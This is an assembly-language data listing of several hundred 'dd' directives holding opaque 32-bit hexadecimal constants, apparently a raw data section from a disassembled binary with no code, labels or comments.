		dd 0C27BDE59h, 0B900A2D9h, 500612F8h, 18F5C539h, 0C161C79h
		dd 891A3435h, 61942966h, 5EB1DD70h, 8B4C640Ch, 3E3C13Eh
		dd 0C822CB07h, 60F70F97h, 7FD598D3h, 0F09D6109h, 31503BDh
		dd 26E92C5Fh, 0F9BA2EDh, 0BD55575Dh, 80C78309h,	80A4F74Bh
		dd 0E9E61370h, 0AD45530Eh
		dd 5D1704A6h, 0D0BA404Fh, 88194E74h, 0EDE92B13h, 0D286F7A0h
		dd 0B010AA2Ah, 29175206h, 0C701F91Fh, 6FF37307h, 1F1BE7D8h
		dd 1F321E76h, 0A220BEFh, 0CA6B1502h, 0E96E2107h, 0AA83D8D0h
		dd 8D1DFDE1h, 0D4ADE909h, 725627AAh, 5DD37DD2h,	0CAAB4596h
		dd 215A1C30h, 0D71ED727h, 83E719Dh, 66A7B38Dh, 0F2554E55h
		dd 0AB84D31Eh, 7F8752A4h, 0BAF609EEh, 51FE5F7Fh, 5383011h
		dd 7B0A570Bh, 3575F5F0h, 59849BC4h, 76EF0735h, 0BE5B055Eh
		dd 164B4F05h, 1FBD40EFh, 305AD728h, 105BF83Fh, 0C72E8499h
		dd 0DF0ABB9h, 3096FEA2h, 0F2407ED7h, 20641FB1h,	0AAF7D2CBh
		dd 0BF31F188h, 56970352h, 0A8CE727Ah, 0B7A2228h, 0C7F6A09h
		dd 0D5A8D754h, 20E90508h, 5954BEC6h, 57F20374h,	0B7E520Fh
		dd 0B3E90212h, 1F68FBA0h, 647A3E2Bh, 0DE6ABE25h, 8131E5F3h
		dd 52A29D2h, 6151BBAh, 0DCD14FE9h, 4340DF87h, 0EF3D58E9h
		dd 9F42F79Ch, 725B6AABh, 5779F00Bh, 0D98629Ch, 256FEB01h
		dd 2DE94B2Ch, 0EEEB27FFh, 0B6F6335Ah, 8296934Ch, 0DFF02887h
		dd 0B9F1F14Bh, 6312B3Bh, 943857D7h, 0E863B205h,	7DDD0905h
		dd 5874CA50h, 76E888BDh, 0C1215D42h, 0A42A7369h, 859CEB1Ah
		dd 7DDCC14Eh, 63E41F7h,	64E74F80h, 0CD1797ECh, 0EAC3B959h
		dd 91C9D049h, 7DD30535h, 1A782E9h, 7F572F66h, 2CFB4802h
		dd 62B6F9BFh, 36FCF229h, 0E17EFB59h, 71FC2EAFh,	585A59F6h
		dd 9FAB9E85h, 0A5B45F5Fh, 31644AA9h, 5D81769h, 22D1BFCh
		dd 0DAB09CC6h, 87442041h, 94A2C2h, 9C3D9035h, 0E8AC075Eh
		dd 39C8B82Ah, 364D3A68h, 1E655881h, 0A3C12A4Ch,	3165989Eh
		dd 0F74E16F4h, 18DEA3EBh, 884FEFE9h, 0CAA28307h, 0CC017BC0h
		dd 3CBB32C1h, 0BFF8DA29h, 0D70BDF40h, 0B961C3DEh, 66D51298h
		dd 39419C90h, 0EDAB16Fh, 8D284ABEh, 6FB94193h, 0F2C7DAF0h
		dd 0DED74844h, 9692EAD6h, 0F9CBAA30h, 6B54F90Ch, 255842C1h
		dd 683EDD14h, 0D0BFF58Ch, 772116FFh, 0F3020B1Ch, 3FFABF49h
		dd 38665614h, 66E25A36h, 0EA911263h, 0A2058A00h, 29716259h
		dd 2F577DF0h, 0A3A1058h, 7405F62h, 12B7D122h, 0FB64DFB2h
		dd 32977679h, 0C0095CAFh, 9285E45h, 8CE3810Fh, 0C11FE47Eh
		dd 4B360EEFh, 8E7F67BAh, 5B0658ECh, 68510958h, 8B5A6531h
		dd 4801AB40h, 1B0490CEh, 0B215DE66h, 13E98341h,	61A84CD5h
		dd 1430EB03h, 0A6E16D37h, 6CD02B25h, 175159DCh,	30862B1h
		dd 0C2E95001h, 2E5F433Bh, 899EAFCDh, 0E24CADFEh, 689C02Fh
		dd 3BB70753h, 33AAE780h, 0C7B194F7h, 4FB34F9h, 36204031h
		dd 0F0741F50h, 4EBFEED8h, 28A13997h, 4DE90DEEh,	0FD3810AAh
		dd 0E4208A7h, 0B9580BB0h, 0CC31C509h, 73110F12h, 2956F05h
		dd 5152F60Bh, 5C2EBE61h, 0E5DADF6h, 7906E92h, 0D7946CF8h
		dd 818A084h, 2F4FB91Ch,	2C5567BDh, 12B16E08h, 0FA80F961h
		dd 425E1F04h, 5EA9B907h, 648D2E79h, 250C0578h, 71877A5Ah
		dd 7E65C1F7h, 0EDD599BAh, 9BA22AF8h, 5019FAD6h,	28FCB40Ah
		dd 737EB5E3h, 4598336Fh, 0ACE85B30h, 8BAEA5ACh,	3BE984C9h
		dd 668F2D0h, 379B2F03h,	219067Ch, 0F83E290Fh, 0CD89A132h
		dd 0B9D73B22h, 89492D3Bh, 185FE7Dh, 2765552Ch, 0EDD22A29h
		dd 0AEEEC15Eh, 61819B2Fh, 0AF18E9C7h, 3A574CADh, 2C1A5FF3h
		dd 0D7222B75h, 16920A47h, 57EF3592h, 6675552Bh,	849D94D8h
		dd 0BC3F6768h, 44FDC1DAh, 36A429Ch, 45086B74h, 0F0E5809Ch
		dd 7661D461h, 0B17B0B0Ch, 0EB6860h, 1E2BB6F2h, 0C15BDA09h
		dd 6802E205h, 89F320F0h, 2F2AC701h, 0AFC20956h,	37D1BBh
		dd 6658E108h, 0C741B68h, 1B435C0h, 9CB514E9h, 0CA5A535Ch
		dd 6594A5A2h, 3D920105h, 4C68F264h, 0FCA17E5Bh,	425F30ACh
		dd 0C608A597h, 0AE128CA2h, 20539DDCh, 35402E12h, 5AD01288h
		dd 771EFC8Ah, 0E906DA94h, 9595454Fh, 68617BF9h,	844D53A2h
		dd 0DD54D941h, 4CEEE77Ah, 4BC34F0Ah, 738776BDh,	0D4DF5C66h
		dd 4506C300h, 0CB012E35h, 802BAA2h, 0BB8A8959h,	44CF0263h
		dd 607F7C76h, 0A0D00108h, 240305E1h, 2FD656A1h,	6A488841h
		dd 0AC94DA87h, 715BB7D2h, 0BFD1A5CDh, 671A16h, 5AC0FD82h
		dd 51E4C0BFh, 0E580E7B5h, 0C5FE371Dh, 0AC9BF54Eh, 0BF680ACDh
		dd 2CC832C8h, 0D10EDA5Ah, 0C9D80E70h, 0E9BE015Bh, 548FE3CCh
		dd 5278B7B5h, 0B60B52D1h, 86D6F61Ch, 5C06D9E8h,	1649D2E9h
		dd 5B53BE4Eh, 37889E5Fh, 0E92F2482h, 956C1EF5h,	729DDC16h
		dd 40294290h, 3612769Fh, 0DAD075BAh, 17F5200Ah,	0B026E911h
		dd 0C6C453AAh, 27AF98DAh, 30BBA43Fh, 2C65B7C6h,	13A97220h
		dd 523B98Eh, 0CBE5C14h,	0CF48A0BBh, 1E38D00Eh, 0F3F7C02Ah
		dd 13DA82E3h, 1F5FFB89h, 577F052Eh, 4202F163h, 7CCAC317h
		dd 0A7D8F161h, 0C9AB595Bh, 12421C7Dh, 0B7710568h, 69B88EAAh
		dd 0C11707D2h, 2D68171Ch, 0BCFC42D4h, 601DE970h, 2DAD0AE2h
		dd 0A3A6291h, 36C48B32h, 0D8E38641h, 0E80883CEh, 489576E3h
		dd 5285932h, 5F648207h,	0E90425CFh, 0AAF492BBh,	70B7A046h
		dd 97AF774Fh, 16764962h, 8AD7617Ah, 2C58994Ch, 25A85452h
		dd 0D72DC400h, 9095DF7Ah, 0C43A64BEh, 64AAD03Bh, 70AFFB53h
		dd 34EDE926h, 0FDEAB3C0h, 0B819A375h, 84824A36h, 63CCFF38h
		dd 6CC2BF6Ah, 2C408EF1h, 5EB5E936h, 1E264C7Ch, 38BAA089h
		dd 766B3C91h, 0F0FE5020h, 83C0D9B5h, 90A3277h, 932303E9h
		dd 0A9A88F5Bh, 70035ACBh, 143C75F2h, 0CF1E4B5Ch, 0D11588h
		dd 0FE0E482Dh, 0F05C011Ch, 25084240h, 0A355945Eh, 0AB3CC98Dh
		dd 4D99A32Eh, 7FD1026Ch, 0A52915A9h, 0A4F0481h,	6CCB015Bh
		dd 0F1E7F448h, 0C2E2F8F3h, 4CA704BDh, 701C0507h, 0C5313560h
		dd 0DB603EF8h, 8719C25Fh, 0C296E47h, 7DFA6382h,	921148D7h
		dd 5C1F202Ah, 7F4AF10Fh, 0A2F28F61h, 0E18208D9h, 8A3AE6C2h
		dd 856359B2h, 0DDFABEF7h, 3931EC57h, 3121ECB5h,	451D624Eh
		dd 79D12BCDh, 0A9070A34h, 3783415Dh, 5AB97BF8h,	54FFD29h
		dd 58850431h, 8CEE88E1h, 198A1C08h, 0A167C422h,	138B325Ah
		dd 67FF4294h, 67D3A25Dh, 8550F574h, 0E58CBC94h,	771B4456h
		dd 0DFF7053Eh, 16DA2BC0h, 86095F61h, 5BFC175Ch,	0E25A7825h
		dd 0D5CA77B6h, 1E13035Fh, 95EE4EABh, 0CA81AA25h, 7360096Fh
		dd 476E2DCDh, 819CF56h,	85F60409h, 0C3815187h, 81045EF2h
		dd 0E072D31Dh, 0A9BC292Ah, 0D028F600h, 0F901508Dh, 0FCD2DD38h
		dd 0F2E9F37Dh, 0B7526BB4h, 8820FFF9h, 66D55C41h, 5A082507h
		dd 0DEF4596Bh, 484591D5h, 1C70FA7h, 704E4DDh, 0B3BA46C4h
		dd 4C80965Fh, 4E796853h, 0D24CF854h, 6B40A40Eh,	4186007Dh
		dd 8381E6E9h, 0C0C4FEB8h, 0A06E430h, 0E629EC80h, 0ECD47BCCh
		dd 5E0CC207h, 447867E9h, 3952BF1Fh, 0D2297249h,	21970B53h
		dd 175E5385h, 0C2A008A0h, 8E17097Ch, 0E7014B3Ch, 69955A1Eh
		dd 24783424h, 0EB27B94h, 676C77ECh, 66121F18h, 3E1434CDh
		dd 854C760Bh, 58142071h, 7727265Ch, 86CD04D6h, 5F8B8E3Fh
		dd 0FB26B7F8h, 295A842Eh, 1617CBF7h, 4201D701h,	4E05314Ch
		dd 7F1F27Eh, 20246196h,	22D5F160h, 0AA6D589Ah, 46607801h
		dd 7FF9295Fh, 0CF2FBBCBh, 0CD02B6C2h, 19C165AEh, 850328EEh
		dd 0DAAE3C28h, 5BDC19C8h, 0C56B2912h, 0AE0B853Eh, 5F584232h
		dd 8CD69D78h, 279B55B8h, 7D5332F8h, 0B23F82F1h,	0D51A8F07h
		dd 0D241DBCAh, 80BE0588h
		dd 3209D671h, 4FB3B40h,	0E97F7A29h, 0B5FAE099h,	5FB63117h
		dd 84978E0Fh, 580BA21Fh, 7F7291FCh, 0CDBC391Ch,	48116885h
		dd 0E97130EBh, 12C0C521h, 0A743D8BFh, 0DCBB3117h, 6DFB290Bh
		dd 46567C6Ch, 0D2387B37h, 42314F82h, 993AEC26h,	41C56F93h
		dd 8DCA0757h, 76B3E90Eh, 7B56271Ch, 451757Ah, 0B02E0C4Dh
		dd 12CC12DFh, 9DFC485Eh, 838329D9h, 0C2651674h,	4BB2006Ch
		dd 0E95E4E87h, 0E180BDD0h, 6866097Ch, 49643206h, 0C10E0F7Dh
		dd 0AEE128B9h, 588ABFE9h, 249AE30h, 7FBF9756h, 72A1D0E8h
		dd 90967AA6h, 5DBA1A32h, 7C2DDB45h, 8F1C7AC5h, 4F239B5Dh
		dd 0BBB55DA8h, 0EBADA971h, 6DC04A02h, 0E22E7586h, 3D024C54h
		dd 56334443h, 0C7F75250h, 126CA6CEh, 955A2E0h, 6E7C1h
		dd 0D38BA3ABh, 0DE91314h, 640C585Ah, 214AF3FEh,	1447CDA0h
		dd 9505D65Eh, 4CD1E11h,	0AD1155BFh, 40C78F82h, 0BF9C8D94h
		dd 1027DD5Ah, 3B2A4886h, 0BD5580BEh, 0A104FF09h, 0B9BF66Eh
		dd 90D5D565h, 2F195E0Fh, 6AB65A7Fh, 572DE912h, 4F38F4Bh
		dd 0E2ABE7C4h, 719F187Fh, 80924129h, 78000D48h,	0F720B661h
		dd 176905D8h, 0B15EC0A9h, 80903F3Eh, 58884E75h,	66645221h
		dd 68AE8C54h, 98764B25h, 2539503Eh, 0F0501EDAh,	4FE0B902h
		dd 0D7315305h, 66E9C1C8h, 5F09352h, 37076887h, 46E96A42h
		dd 0FF59076Ah, 84B7B232h, 8E1431AFh, 5A394072h,	3B355B5Ah
		dd 8582A7BFh, 0D1AFF01Ch, 2AA37A38h, 4B7AC4F6h,	0FE111715h
		dd 0E7F69633h, 65660A0Eh, 23E00A13h, 0A8CEA551h, 6FF50B23h
		dd 0A6806D7Fh, 7CD63EAh, 6BE02D0Fh, 54F474C7h, 9B0968D2h
		dd 610E3E79h, 0FA497D6h, 4991CE9h, 0EF292754h, 4C08C710h
		dd 0F9A02D3Ah, 0C7288BFBh, 0D27090DDh, 0EFF9C051h, 618D153Bh
		dd 0D9033AB8h, 0E90EE264h, 0B2D14C33h, 5407E103h, 0F7E13740h
		dd 2DC06D2Dh, 5234C19Bh, 0A85EE826h, 0E882B4F1h, 3C94578Eh
		dd 0A294C604h, 0EB13E5FDh, 0E90937CEh, 0AC5A01A3h, 30E45F1Fh
		dd 1E0980E8h, 603FFD3Bh, 8B25F244h, 7432E7E8h, 1555403Eh
		dd 0D03E0473h, 0A9318430h, 18EAAA88h, 0C733B3Fh, 2D286F49h
		dd 809827Eh, 5014A45Dh,	0E7A5208Fh, 0B185B601h,	5AF12890h
		dd 0FE22A830h, 0C4B4DC5h, 5568F844h, 37F8B9C8h,	68B897B1h
		dd 73056852h, 5A306134h, 67023180h, 4E31EADFh, 81A1B9CAh
		dd 0FE375AF2h, 0F7619247h, 0E9C84668h, 0B950400Eh, 5C2DC300h
		dd 0D7C1811Eh, 6DF82E21h, 4EE0221h, 9F7E030h, 0C31A006Ah
		dd 4A7D35A7h, 263F524h,	60D75F08h, 82A542E4h, 55DAA25Ch
		dd 9926FD73h, 0CC4B42h,	108CCA81h, 9259783Dh, 0AEB796A4h
		dd 0F0B25201h, 3B90EA80h, 0A2DB96C2h, 44D830CFh, 436813AAh
		dd 8B3BE75Bh, 80ED7902h, 0E970C380h, 16BFDCCFh,	0A9D4B734h
		dd 5677A7C2h, 0D8C98EB0h, 683FB3E0h, 0DFA84523h, 0C5BD08D1h
		dd 0BD360935h, 0F80AEE5Fh, 81A654C0h, 48E303F1h, 0CA21686Dh
		dd 5ADD8FEAh, 4DC302BAh, 29256664h, 8837B58h, 4E5D1C00h
		dd 3DE97459h, 0C5BA569h, 0EB67F6CAh, 1392E7Ah, 97CB3E59h
		dd 0A34E305Ah, 9A4CE4F2h, 0C12F7E8Bh, 3A5F5941h, 0FB5B95A6h
		dd 0F5BBD829h, 115D4640h, 92C76C5h, 4BC03DAEh, 9836642Dh
		dd 336A0474h, 0AF4E5F1Dh, 5D98BD80h, 91416E1h, 0CFE001F7h
		dd 3F9205B4h, 32869E0h,	877A6751h, 64F42D7h, 8D4078CDh
		dd 50287201h, 26CBAA4Bh, 12971A38h, 6D3BE11Fh, 60E9E091h
		dd 0EF591C3h, 618947DFh, 8DF28FDh, 5A41D42Dh, 377D5ADFh
		dd 7B105359h, 3313E07Ch, 3D16D8EAh, 81CCEC4Bh, 7F5A04B4h
		dd 0AB5C0106h, 0C41E5A2h, 4C321E75h, 116304D3h,	22DDAABDh
		dd 5D9A6F55h, 6164C85Bh, 0BF03809Fh, 7DA06A36h,	2436BA10h
		dd 6F648EA2h, 0BC393205h, 71EAA2D1h, 335749A3h,	0D852BA3Dh
		dd 42C641E9h, 78E80548h, 316A32Dh, 2E006719h, 18DC249Dh
		dd 44E720E9h, 24EF8724h, 0BA022E10h, 337A4C91h,	0B0AAC477h
		dd 0C6C23FE4h, 0F10C4B7Ch, 84BE01B1h, 2B5F4887h, 2972FB64h
		dd 0CE0B5AC1h, 507CB800h, 352C280Dh, 0A16B0B78h, 9E782800h
		dd 29AC7409h, 13E5D7C5h, 0C4882D94h, 0DDAFC029h, 62BAED27h
		dd 0FCF7026Eh, 0DD6DD848h, 25509A11h, 11A02B4Dh, 961A1D10h
		dd 0AE38011h, 831D5753h, 0C3FE01F8h, 0F3B61097h, 577C6E2Eh
		dd 0B130D8C1h, 0FC368E42h, 18754C16h, 635D1003h, 4AF9044Bh
		dd 0BA807038h, 124D1BA1h, 87EEC158h, 7BE371B1h,	0C8480EAh
		dd 1297A17h, 66DEA0F3h,	5557801Ah, 64D16804h, 4DC00CFDh
		dd 145874F5h, 0E24D3F32h, 79084405h, 1244FF25h,	8A0AF1C9h
		dd 7E561EA6h, 16111DDAh, 0D00BFED0h, 731C82EFh,	3B8009AFh
		dd 0E010FEEh, 905C465Ch, 6EF05008h, 2AC5A12h, 8E8615AEh
		dd 70CBBEB5h, 941F3048h, 21F5765h, 0F43F9896h, 0DC037676h
		dd 0E36266Dh, 345C7EC8h, 0AFC7E9E5h, 5519B844h,	0FAD8B549h
		dd 50EE519Fh, 0C269A8E9h, 6D07F540h, 0B21A92FDh, 77D98802h
		dd 62CEEF87h, 905D5AF7h, 0B5C0AC05h, 560268F1h,	0C6678568h
		dd 5A5E2D6Dh, 0CADC9B99h, 37F10C48h, 19763517h,	1D1A9CE0h
		dd 4CED302Bh, 0BD24E2F9h, 0CF440E09h, 7E5575Dh,	6678601h
		dd 70E2E925h, 90B9067Ch, 5E1D4136h, 0F83D7F0Bh,	33447F7Eh
		dd 6EDC0C95h, 39203067h, 0E3DBC15Ah, 3164330Ah,	5996D3C8h
		dd 41079DC5h, 47E57D43h, 7885D0FEh, 1E406C7Bh, 4BFD7CCCh
		dd 50BDB0E7h, 69FFF9BFh, 80A23E57h, 25685304h, 5DE62E10h
		dd 30012BE3h, 264E07B9h, 6CD91931h, 0F2775D02h,	2047B054h
		dd 0B91DE1ECh, 64D36245h, 8A8F04BAh, 0C409E8D0h, 15B21E23h
		dd 27ED9986h, 0FDFB6195h, 8AE2A37Fh, 0AE00A850h, 0B83F6310h
		dd 0B00BD3B2h, 38961437h, 64570507h, 8A219F7h, 17BF00D9h
		dd 7160301Ah, 5B72587Ah, 0E5681578h, 3381EC5Ch,	7A87D6CDh
		dd 4858C586h, 0AC16C85Fh, 0D98DEEC8h, 0EBAD903Ah, 34F77088h
		dd 96F4734Ch, 0D3013704h, 0D9E8FCE9h, 0ED93CD4Bh, 0FA176A12h
		dd 0BB20FEF8h, 6612DC9Dh, 5AA16711h, 25AA2879h,	0B949250h
		dd 0A7D77E83h, 0A92019DAh, 7C53F892h, 12070952h, 15800C57h
		dd 0C463CCF2h, 8B0A2058h, 3DA55E06h, 0F47CAE16h, 0C500F36Ah
		dd 52409160h, 96DD82E9h, 73A8017h, 0D4350238h, 74967101h
		dd 412DE105h, 4AF5E9F0h, 631AAABh, 65730902h, 0D9E9540Bh
		dd 66AC8D21h, 0E94AED68h, 0DA413F56h, 4D463AE3h, 82162FE8h
		dd 90E54355h, 1CB151FAh, 97D9F6A9h, 0B906BAD1h,	67061BE9h
		dd 83382492h, 4D05E62Ah, 3F9501BFh, 0BBEE8BC1h,	2ADC0FAFh
		dd 90C1AF3Eh, 5BDEE9E1h, 1290F3ABh, 75FB035Ah, 728AF68h
		dd 0E9B849B9h, 0CC5C804Bh, 50BD2A49h, 0A5599CF3h, 363B8843h
		dd 6D571843h, 493B680Ch, 20107B63h, 0F6800EE6h,	0B9EE6027h
		dd 0F35AF528h, 5A207ECCh, 3823F6ECh, 2D44D238h,	45704295h
		dd 0FE6884EBh, 0A28EEE05h, 0FB12CF27h, 6C1F3240h, 0E9460A05h
		dd 0CBBED031h, 0FD9741D2h, 0C8D9CADDh, 0A5B95317h, 1A5DEB86h
		dd 8997E927h, 0A7369793h, 281D0561h, 0B00AA1A9h, 1ABB355h
		dd 5356B1F1h, 0FA3D6072h, 6C0D1402h, 76ED98E9h,	9E8F8B6Bh
		dd 873099D7h, 0C6EE20E2h, 787B2032h, 215AA49h, 455489BAh
		dd 1EE4DF3Ah, 421310Ah,	848ED7Ah, 17091C34h, 8CBA085Ah
		dd 34C9F6AEh, 0E859BDB7h, 9EEEDF6Bh, 97B2E926h,	80EB298Bh
		dd 0E42CFC64h, 0C2FEC018h
		dd 5D6C164Eh, 75E95309h, 9D147FACh, 0FF90F095h,	0DD34BBF9h
		dd 0D9255C52h, 164FB14Ch, 8B92BB01h, 4845DD14h,	0F475AFA0h
		dd 68180806h, 4C0A3D2Ch, 5800035Fh, 402FE712h, 0C231A02Dh
		dd 0EDE26E29h, 0D604AB04h, 87059CDCh, 0FD0BFEDDh, 401BD791h
		dd 98F50CE2h, 50069C24h, 5EB2F8FDh, 2F0D4007h, 5268866Ah
		dd 5E62F0B7h, 0EA1016AEh, 9D977061h, 1DC65B92h,	0BD4116FDh
		dd 4D3B2083h, 5F79AC80h, 0B464C274h, 2FDF1B41h,	0F7BE5600h
		dd 904CB81Dh, 617B1212h, 0C6E400B3h, 0CFC6EFDh,	0EA00BBB0h
		dd 0D13A7919h, 4EB1E9EEh, 0E3144386h, 9AA5444h,	4808BED1h
		dd 27BA177Bh, 0B785A2C2h, 0F725FA64h, 44F25B3h,	1E216C7h
		dd 0CBA2FEDDh, 0F688B776h, 5BFA2D1Ah, 0C21FCD50h, 84D2DB1Ch
		dd 2BD789C9h, 283FE4Bh,	26F754ADh, 9760BB07h, 5AD6E922h
		dd 413A4415h, 922C1DE2h, 5F253C10h, 295F1370h, 17CBBA95h
		dd 73D302D2h, 0A8F5529Fh, 1F24082Bh, 0A84C962h,	67680BD4h
		dd 8D4C185Dh, 2BC0828Eh, 0E7BE5B17h, 33FF5A97h,	70483301h
		dd 22772F17h, 0D712EFD6h, 9FCDB9Ch, 8BF11064h, 205389BAh
		dd 1D129D79h, 1C423888h, 23D46E9h, 0BB76EE29h, 29415851h
		dd 672F0189h, 600BA280h, 1EB2580Ch, 0CA1A5847h,	1677B10Fh
		dd 539DEEF8h, 7B07E16Ah, 41298FDCh, 3BF513FAh, 15DD0BAFh
		dd 0C3300294h, 89FF3CE9h, 16411EE1h, 44A89FE9h,	0BC43220Dh
		dd 557F1C7h, 9B250BBBh,	3667905Dh, 78C2E1A1h, 58D4BE0Dh
		dd 66025C2Dh, 0D80120EAh, 62078A05h, 5DCB2810h,	60975A46h
		dd 0FBF4AECh, 0F1D5B851h, 4CD60289h, 24192502h,	0E74EC098h
		dd 0ED81A8BEh, 41B71A9h, 0D7685A2Eh, 2937AA70h,	4D122FA5h
		dd 0F82D96D0h, 6754341Ah, 8507149Bh, 2C813014h,	4BF7A63Dh
		dd 30A497D3h, 60AA7FE9h, 9E5260B8h, 5EF20BD8h, 2CEC039Ah
		dd 0E23F0E29h, 208967C5h, 6082007Eh, 429D5AB4h,	0E092C1CFh
		dd 0F7877262h, 0B088D4E1h, 0F5AB77Eh, 62CE90A5h, 0DD624AACh
		dd 0F9BF91E5h, 5D0245BCh, 9B5A6F68h, 12EEC782h,	929DF5F3h
		dd 0D758ABE9h, 270BAE0Ch, 0DEA83609h, 12732408h, 6389ABD1h
		dd 0BA9AE0E4h, 7E6B0FB1h, 0AF492690h, 0D52F3DD4h, 0C07F3C32h
		dd 88434B58h, 0B88009FDh, 6B251EBFh, 4B6A9749h,	0C582ADF5h
		dd 5104D9D5h, 4AE33683h, 3C31F60Ch, 5F804ADDh, 4AEF4B87h
		dd 7BA1032h, 0CCCB805Eh, 0D9A20379h, 3645AE09h,	0D5698F1Ah
		dd 957D9487h, 5CD4073h,	31110B20h, 0E5462B7h, 4AD6A007h
		dd 15D7F8Dh, 197C3705h,	0F6F00117h, 400DE013h, 0F790BFFDh
		dd 729E413Dh, 9D386350h, 0BA93B8D9h, 702F13B1h,	0B12F9C6Fh
		dd 4F295F32h, 13BE7C91h, 11C9B659h, 0EA5F0A5Dh,	18757D75h
		dd 660649EAh, 34CF7B03h, 22927905h, 64B929C7h, 3E12F580h
		dd 0D99758FCh, 46D30166h, 65567AABh, 75C56BCBh,	41AEACC4h
		dd 7E6CF364h, 29F02E5Fh, 824101EFh, 0E9C62967h,	0E6B56BBCh
		dd 6C9620h, 0B90B3235h,	52864FE5h, 5CF13127h, 0C8E7C2A9h
		dd 8140FA55h, 0B9005297h, 0AD4F11C9h, 9759E08h,	0C701h
		dd 57F874CDh, 679402FAh, 0DB3A8D26h, 2D6B9BF1h,	398B2ADBh
		dd 20EEDC13h, 77151223h, 83264095h, 10BE1D57h, 1ED87B4Bh
		dd 90A3B916h, 0B44A75F9h, 0D5294813h, 0C082810h, 27DA42E9h
		dd 6947BC7h, 0E7C13E3Ah, 34091202h, 7FA18674h, 9BD15187h
		dd 42FE32F7h, 8E667553h, 3E9E019Dh, 567059ABh, 9D612DEFh
		dd 330FE2FCh, 1B2C0A0h,	6069E9F1h, 0E0F279B9h, 1A1F4597h
		dd 149D089h, 5D8412B7h,	0FCABBD23h, 0D5F61409h,	69CB0E66h
		dd 0E5B6D7E6h, 0B94FEE90h, 85C62BD7h, 0B1EF62Fh, 1326465h
		dd 0F273787Eh, 98096AD6h, 4B50C8F1h, 8107B059h,	2D1D1313h
		dd 80CD18EAh, 0C84882FEh, 0E6135E39h, 85EECABBh, 0A6F330EFh
		dd 46094C25h, 2D4F477Dh, 0F961CBA4h, 986518DFh,	3F72B032h
		dd 0FA12D30Ch, 4D9E4648h, 29202715h, 0C5B4CB6h,	780E5C48h
		dd 2DFED226h, 0D6716DDh, 88344D6h, 0A666609Bh, 41F5C55Ah
		dd 0A1C5A86Fh, 0F7C739Ah, 4313D3C0h, 0EF24C112h, 7025502h
		dd 571BF811h, 4719498Ch, 0D4AC409Fh, 0E9071C87h, 8E68A775h
		dd 0E1253331h, 0C6200F2Ch, 5A82E52Fh, 2ABAF0B1h, 145B6440h
		dd 0A3284F88h, 8B898786h, 0EA2DE577h, 0EE11F5C6h, 0F8E7A761h
		dd 0EDC12D56h, 0ACD98255h, 58B3EB51h, 0CD16F84Bh, 7A3FE4D4h
		dd 1CA15709h, 66DAB85Bh, 8012B75Eh, 0BBF5FA84h,	3206B4F2h
		dd 0D42B7A76h, 46A2718h, 304CCAF6h, 0C24EF428h,	38334687h
		dd 0F8190C36h, 92299212h, 0B4C9012Eh, 0F77B2B5Bh, 0E77630D9h
		dd 0D79DC104h, 0B281CB31h, 0A8C3C5EBh, 0B7DA0152h, 0B0DD329Ah
		dd 55E9FADFh, 0A43ED4D4h, 23275F57h, 97125F61h,	45F616DDh
		dd 972A60B1h, 0AD13FE97h, 9DB7365Dh, 65C0ABDEh,	39157E12h
		dd 13056852h, 0FB5A57AFh, 770B36A0h, 0ED20F751h, 535940D7h
		dd 0EDF2545Bh, 0A1B850C7h, 6A10B07Dh, 5EF7D8A0h, 46850BDEh
		dd 0D50A9E50h, 90F10B07h, 9A11E602h, 7EA555Dh, 0B6D080Ah
		dd 954BB10h, 76ADB24Ah,	0C874E939h, 655A4EC0h, 0BCD9C40h
		dd 0EF76F701h, 0EC7E1A59h, 94D3C564h, 7BE37DFEh, 7BAB5644h
		dd 9072E902h, 3EC3ACA3h, 945BA8F9h, 2708EBC7h, 38FD7E5Eh
		dd 39681774h, 0CE8C3126h, 0AFB83AC2h, 0FFF4AFA3h, 0E66E49CDh
		dd 0CA8C9613h, 0EA5E32E9h, 65F9EE51h, 1309E601h, 0BD442C12h
		dd 57A96BC1h, 8740D347h, 8201D89Fh, 5D4A9540h, 42F30878h
		dd 88FC1CEh, 0D52C8CA5h, 86DCFED8h, 30F541B5h, 0FB0B35E4h
		dd 222AF060h, 7D39E3DDh, 4C0F0D18h, 0F006552Fh,	2EE92768h
		dd 53E14F68h, 0EF004FB0h, 0BB1AF43Ch, 4A0BC315h, 2CA3A9E5h
		dd 0E10815D9h, 0A2680425h, 0E731FF35h, 5903E2F5h, 2E169BB1h
		dd 0BE25DBA6h, 0DA922D74h, 31078A01h, 0BF05190Dh, 5F676255h
		dd 0FB4F5D9Ah, 9F208529h, 0E2460409h, 0A8F9E96Eh, 2C583B7Dh
		dd 7FAD7070h, 0BA5D5684h, 4E7878A2h, 51A503A8h,	0CE90F988h
		dd 0BB246859h, 5E6B4D24h, 58C5061Fh, 0E9169F5Ah, 3BF68A07h
		dd 69CC2C7Ah, 0C6E06CF3h, 4426C25h, 54BAC375h, 0F44A4D65h
		dd 8226E971h, 80A4C0DEh, 0CF4C0A00h, 0AE28125h,	380923CBh
		dd 5611038Fh, 560F10D8h, 0A56D7AD5h, 60B896E9h,	8AEC800Fh
		dd 0ABE64E05h, 962761A3h, 0EE594305h, 798584E6h, 0DC0EB521h
		dd 0D9BDF843h, 2B688E22h, 0E7782B58h, 2DB2DC82h, 0A08994F5h
		dd 0BD487FB1h, 9273DFDEh, 0CA290294h, 4794BE1h,	54A346F0h
		dd 2468F26Dh, 625B07D2h, 0D287DA88h, 0A8CC54D1h, 68B65F89h
		dd 0E5E5076Fh, 28798258h, 0E905C8FBh, 0B540D07Eh, 0C38029B3h
		dd 8A6197A7h, 2F2231F3h, 88D09791h, 0D9F9F5C2h,	0D459CB4Fh
		dd 0EAD62F2Eh, 1DE91454h, 0B6050EE1h, 8013FE16h, 0A15273A5h
		dd 1E1644Fh, 382EA339h,	96F740F6h, 3C2FF415h, 5E6C6401h
		dd 0EB6E162Bh, 0FA4FD88Fh, 0B15C2328h, 9BCA09ECh, 0D81D9877h
		dd 2F828293h, 1F427163h, 7F26C05Fh, 0BAAD25CFh,	0A0CD7068h
		dd 0C16CB89Fh, 0C906B658h, 68851E74h, 0A4051747h, 24AFE8DCh
		dd 19D5FE97h, 55EB8501h, 30830A9Ch, 0F3040B8h, 4E6AE7E0h
		dd 512F0413h, 77158D01h, 917A133Fh, 7EAB1C03h, 0EF937DB3h
		dd 4BE9C130h, 30D9BFE3h, 79B89E44h, 6C21BE5Ah, 0CA62EB3Ah
		dd 787DA905h, 88D4EF2Eh, 2BBC0816h, 6A05EAB0h, 0B472D624h
		dd 3AD4F344h, 0D83B4B70h
		dd 0EEDEC10Ah, 3E06B02Bh, 0C7323ACh, 586B604Fh,	2F13D80Ch
